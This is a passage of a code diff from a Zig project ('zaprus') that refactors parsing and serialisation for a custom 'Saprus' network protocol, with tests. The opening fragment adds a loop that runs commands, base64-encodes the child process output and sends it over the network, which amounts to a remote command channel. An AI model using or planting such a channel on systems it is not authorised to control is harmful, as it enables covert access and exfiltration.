+                const encoded_cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
+
+                connection.send(init.io, encoded_cmd_output) catch continue;
+                try init.io.sleep(.fromMilliseconds(40), .real);
+            }
+        }
+    }
+
+    unreachable;
 }
 
 fn parseDest(in: ?[]const u8) [4]u8 {
@@ -83,19 +148,19 @@ fn parseDest(in: ?[]const u8) [4]u8 {
             return res;
         }
 
-        const addr = std.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
-        return @bitCast(addr.sa.addr);
+        const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
+        return addr.bytes;
     }
-    return "zap".*;
+    return "disc".*;
 }
 
 const builtin = @import("builtin");
 const std = @import("std");
-const DebugAllocator = std.heap.DebugAllocator(.{});
 const ArrayList = std.ArrayList;
+const StaticStringMap = std.StaticStringMap;
 
 const zaprus = @import("zaprus");
 const SaprusClient = zaprus.Client;
 const SaprusMessage = zaprus.Message;
 
-const clap = @import("clap");
+const Writer = std.Io.Writer;

src/message.zig

@@ -1,18 +1,170 @@
-const base64Enc = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '=');
-const base64Dec = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '=');
-
 /// Type tag for Message union.
 /// This is the first value in the actual packet sent over the network.
 pub const PacketType = enum(u16) {
     relay = 0x003C,
-    file_transfer = 0x8888,
     connection = 0x00E9,
     _,
 };
 
+pub const MessageTypeError = error{
+    NotImplementedSaprusType,
+    UnknownSaprusType,
+};
+pub const MessageParseError = MessageTypeError || error{
+    InvalidMessage,
+};
+
+const message = @This();
+
+pub const Message = union(PacketType) {
+    relay: Message.Relay,
+    connection: Message.Connection,
+
+    pub const Relay = message.Relay;
+    pub const Connection = message.Connection;
+
+    pub fn toBytes(self: message.Message, buf: []u8) []u8 {
+        return switch (self) {
+            inline else => |m| m.toBytes(buf),
+        };
+    }
+
+    pub const parse = message.parse;
+};
+
+pub const relay_dest_len = 4;
+
+pub fn parse(bytes: []const u8) MessageParseError!Message {
+    var in: Reader = .fixed(bytes);
+    const @"type" = in.takeEnum(PacketType, .big) catch |err| switch (err) {
+        error.InvalidEnumTag => return error.UnknownSaprusType,
+        else => return error.InvalidMessage,
+    };
+    const checksum = in.takeArray(2) catch return error.InvalidMessage;
+    switch (@"type") {
+        .relay => {
+            const dest: Relay.Dest = .fromBytes(
+                in.takeArray(relay_dest_len) catch return error.InvalidMessage,
+            );
+            const payload = in.buffered();
+            return .{
+                .relay = .{
+                    .dest = dest,
+                    .checksum = checksum.*,
+                    .payload = payload,
+                },
+            };
+        },
+        .connection => {
+            const src = in.takeInt(u16, .big) catch return error.InvalidMessage;
+            const dest = in.takeInt(u16, .big) catch return error.InvalidMessage;
+            const seq = in.takeInt(u32, .big) catch return error.InvalidMessage;
+            const id = in.takeInt(u32, .big) catch return error.InvalidMessage;
+            const reserved = in.takeByte() catch return error.InvalidMessage;
+            const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage;
+            const payload = in.buffered();
+            return .{
+                .connection = .{
+                    .src = src,
+                    .dest = dest,
+                    .seq = seq,
+                    .id = id,
+                    .reserved = reserved,
+                    .options = options,
+                    .payload = payload,
+                },
+            };
+        },
+        else => return error.NotImplementedSaprusType,
+    }
+}
+
+test parse {
+    _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 });
+
+    {
+        const expected: Message = .{
+            .connection = .{
+                .src = 12416,
+                .dest = 61680,
+                .seq = 0,
+                .id = 0,
+                .reserved = 0,
+                .options = @bitCast(@as(u8, 100)),
+                .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 },
+            },
+        };
+        const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 });
+
+        try std.testing.expectEqualDeep(expected, actual);
+    }
+}
+
+const Relay = struct {
+    dest: Dest,
+    checksum: [2]u8 = undefined,
+    payload: []const u8,
+
+    pub const Dest = struct {
+        bytes: [relay_dest_len]u8,
+
+        /// Asserts bytes is less than or equal to 4 bytes
+        pub fn fromBytes(bytes: []const u8) Dest {
+            var buf: [4]u8 = @splat(0);
+            std.debug.assert(bytes.len <= buf.len);
+            @memcpy(buf[0..bytes.len], bytes);
+            return .{ .bytes = buf };
+        }
+    };
+
+    pub fn init(dest: Dest, payload: []const u8) Relay {
+        return .{ .dest = dest, .payload = payload };
+    }
+
+    /// Asserts that buf is large enough to fit the relay message.
+    pub fn toBytes(self: Relay, buf: []u8) []u8 {
+        var out: Writer = .fixed(buf);
+        out.writeInt(u16, @intFromEnum(PacketType.relay), .big) catch unreachable;
+        out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum
+        out.writeAll(&self.dest.bytes) catch unreachable;
+        out.writeAll(self.payload) catch unreachable;
+        return out.buffered();
+    }
+
+    test toBytes {
+        var buf: [1024]u8 = undefined;
+        const relay: Relay = .init(
+            .fromBytes(&.{ 172, 18, 1, 30 }),
+            // zig fmt: off
+            &[_]u8{
+                0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
+                0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
+            },
+            // zig fmt: on
+        );
+        // zig fmt: off
+        var expected = [_]u8{
+            0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72,
+            0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
+            0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
+        };
+        // zig fmt: on
+        try expectEqualMessageBuffers(&expected, relay.toBytes(&buf));
+    }
+};
+
+const Connection = struct {
+    src: u16,
+    dest: u16,
+    seq: u32,
+    id: u32,
+    reserved: u8 = undefined,
+    options: Options = undefined,
+    payload: []const u8,
+
     /// Reserved option values.
     /// Currently unused.
-pub const ConnectionOptions = packed struct(u8) {
+    pub const Options = packed struct(u8) {
         opt1: bool = false,
         opt2: bool = false,
         opt3: bool = false,
@@ -23,189 +175,43 @@ pub const ConnectionOptions = packed struct(u8) {
         opt8: bool = false,
     };
 
-pub const Error = error{
-    NotImplementedSaprusType,
-    UnknownSaprusType,
-};
-
-/// All Saprus messages
-pub const Message = union(PacketType) {
-    pub const Relay = struct {
-        pub const Header = packed struct {
-            dest: @Vector(4, u8),
-        };
-        header: Header,
-        payload: []const u8,
-    };
-    pub const Connection = struct {
-        pub const Header = packed struct {
-            src_port: u16, // random number > 1024
-            dest_port: u16, // random number > 1024
-            seq_num: u32 = 0,
-            msg_id: u32 = 0,
-            reserved: u8 = 0,
-            options: ConnectionOptions = .{},
-        };
-        header: Header,
-        payload: []const u8,
-    };
-    relay: Relay,
-    file_transfer: void, // unimplemented
-    connection: Connection,
-
-    /// Should be called for any Message that was declared using a function that you pass an allocator to.
-    pub fn deinit(self: Message, allocator: Allocator) void {
-        switch (self) {
-            .relay => |r| allocator.free(r.payload),
-            .connection => |c| allocator.free(c.payload),
-            else => unreachable,
-        }
-    }
-
-    fn toBytesAux(
-        header: anytype,
-        payload: []const u8,
-        buf: *std.ArrayList(u8),
-        allocator: Allocator,
-    ) !void {
-        const Header = @TypeOf(header);
-        // Create a growable string to store the base64 bytes in.
-        // Doing this first so I can use the length of the encoded bytes for the length field.
-        var payload_list = std.ArrayList(u8).init(allocator);
-        defer payload_list.deinit();
-        const buf_w = payload_list.writer();
-
-        // Write the payload bytes as base64 to the growable string.
-        try base64Enc.encodeWriter(buf_w, payload);
-
-        // At this point, payload_list contains the base64 encoded payload.
-
-        // Add the payload length to the output buf.
-        try buf.*.appendSlice(
-            asBytes(&nativeToBig(u16, @intCast(payload_list.items.len + @bitSizeOf(Header) / 8))),
-        );
-
-        // Add the header bytes to the output buf.
-        var header_buf: [@sizeOf(Header)]u8 = undefined;
-        var header_buf_stream = std.io.fixedBufferStream(&header_buf);
-        try header_buf_stream.writer().writeStructEndian(header, .big);
-        // Add the exact number of bits in the header without padding.
-        try buf.*.appendSlice(header_buf[0 .. @bitSizeOf(Header) / 8]);
-
-        try buf.*.appendSlice(payload_list.items);
-    }
-
-    /// Caller is responsible for freeing the returned bytes.
-    pub fn toBytes(self: Message, allocator: Allocator) ![]u8 {
-        // Create a growable list of bytes to store the output in.
-        var buf = std.ArrayList(u8).init(allocator);
-        errdefer buf.deinit();
-
-        // Start with writing the message type, which is the first 16 bits of every Saprus message.
-        try buf.appendSlice(asBytes(&nativeToBig(u16, @intFromEnum(self))));
-
-        // Write the proper header and payload for the given packet type.
-        switch (self) {
-            .relay => |r| try toBytesAux(r.header, r.payload, &buf, allocator),
-            .connection => |c| try toBytesAux(c.header, c.payload, &buf, allocator),
-            .file_transfer => return Error.NotImplementedSaprusType,
-        }
-
-        // Collect the growable list as a slice and return it.
-        return buf.toOwnedSlice();
-    }
-
-    fn fromBytesAux(
-        comptime packet: PacketType,
-        len: u16,
-        r: std.io.FixedBufferStream([]const u8).Reader,
-        allocator: Allocator,
-    ) !Message {
-        const Header = @field(@FieldType(Message, @tagName(packet)), "Header");
-
-        // Read the header for the current message type.
-        var header_bytes: [@sizeOf(Header)]u8 = undefined;
-        _ = try r.read(header_bytes[0 .. @bitSizeOf(Header) / 8]);
-        var header_stream = std.io.fixedBufferStream(&header_bytes);
-        const header = try header_stream.reader().readStructEndian(Header, .big);
-
-        // Read the base64 bytes into a list to be able to call the decoder on it.
-        const payload_buf = try allocator.alloc(u8, len - @bitSizeOf(Header) / 8);
-        defer allocator.free(payload_buf);
-        _ = try r.readAll(payload_buf);
-
-        // Create a buffer to store the payload in, and decode the base64 bytes into the payload field.
-        const payload = try allocator.alloc(u8, try base64Dec.calcSizeForSlice(payload_buf));
-        try base64Dec.decode(payload, payload_buf);
-
-        // Return the type of Message specified by the `packet` argument.
-        return @unionInit(Message, @tagName(packet), .{
-            .header = header,
-            .payload = payload,
-        });
-    }
-
-    /// Caller is responsible for calling .deinit on the returned value.
-    pub fn fromBytes(bytes: []const u8, allocator: Allocator) !Message {
-        var s = std.io.fixedBufferStream(bytes);
-        const r = s.reader();
-
-        // Read packet type
-        const packet_type = @as(PacketType, @enumFromInt(try r.readInt(u16, .big)));
-
-        // Read the length of the header + base64 encoded payload.
-        const len = try r.readInt(u16, .big);
-
-        switch (packet_type) {
-            .relay => return fromBytesAux(.relay, len, r, allocator),
-            .connection => return fromBytesAux(.connection, len, r, allocator),
-            .file_transfer => return Error.NotImplementedSaprusType,
-            else => return Error.UnknownSaprusType,
-        }
+    /// Asserts that buf is large enough to fit the connection message.
+    pub fn toBytes(self: Connection, buf: []u8) []u8 {
+        var out: Writer = .fixed(buf);
+        out.writeInt(u16, @intFromEnum(PacketType.connection), .big) catch unreachable;
+        out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread.
+        out.writeInt(u16, self.src, .big) catch unreachable;
+        out.writeInt(u16, self.dest, .big) catch unreachable;
+        out.writeInt(u32, self.seq, .big) catch unreachable;
+        out.writeInt(u32, self.id, .big) catch unreachable;
+        out.writeByte(self.reserved) catch unreachable;
+        out.writeStruct(self.options, .big) catch unreachable;
+        out.writeAll(self.payload) catch unreachable;
+        return out.buffered();
     }
 };
 
+test "Round trip" {
+    {
+        const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 };
+        const msg = (try parse(&expected)).connection;
+        var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result.
+        const res = msg.toBytes(&res_buf);
+        try expectEqualMessageBuffers(&expected, res);
+    }
+}
+
+// Skip checking the length / checksum, because that is undefined.
+fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void {
+    try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]);
+    try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]);
+}
+
 const std = @import("std");
 const Allocator = std.mem.Allocator;
+const Writer = std.Io.Writer;
+const Reader = std.Io.Reader;
 
-const asBytes = std.mem.asBytes;
-const nativeToBig = std.mem.nativeToBig;
-
-test "Round trip Relay toBytes and fromBytes" {
-    const gpa = std.testing.allocator;
-    const msg = Message{
-        .relay = .{
-            .header = .{ .dest = .{ 255, 255, 255, 255 } },
-            .payload = "Hello darkness my old friend",
-        },
-    };
-
-    const to_bytes = try msg.toBytes(gpa);
-    defer gpa.free(to_bytes);
-
-    const from_bytes = try Message.fromBytes(to_bytes, gpa);
-    defer from_bytes.deinit(gpa);
-
-    try std.testing.expectEqualDeep(msg, from_bytes);
-}
-
-test "Round trip Connection toBytes and fromBytes" {
-    const gpa = std.testing.allocator;
-    const msg = Message{
-        .connection = .{
-            .header = .{
-                .src_port = 0,
-                .dest_port = 0,
-            },
-            .payload = "Hello darkness my old friend",
-        },
-    };
-
-    const to_bytes = try msg.toBytes(gpa);
-    defer gpa.free(to_bytes);
-
-    const from_bytes = try Message.fromBytes(to_bytes, gpa);
-    defer from_bytes.deinit(gpa);
-
-    try std.testing.expectEqualDeep(msg, from_bytes);
+test {
+    std.testing.refAllDeclsRecursive(@This());
 }

src/root.zig

@@ -1,2 +1,13 @@
 pub const Client = @import("Client.zig");
-pub usingnamespace @import("message.zig");
+pub const Connection = @import("Connection.zig");
+
+const msg = @import("message.zig");
+
+pub const PacketType = msg.PacketType;
+pub const MessageTypeError = msg.MessageTypeError;
+pub const MessageParseError = msg.MessageParseError;
+pub const Message = msg.Message;
+
+test {
+    @import("std").testing.refAllDecls(@This());
+}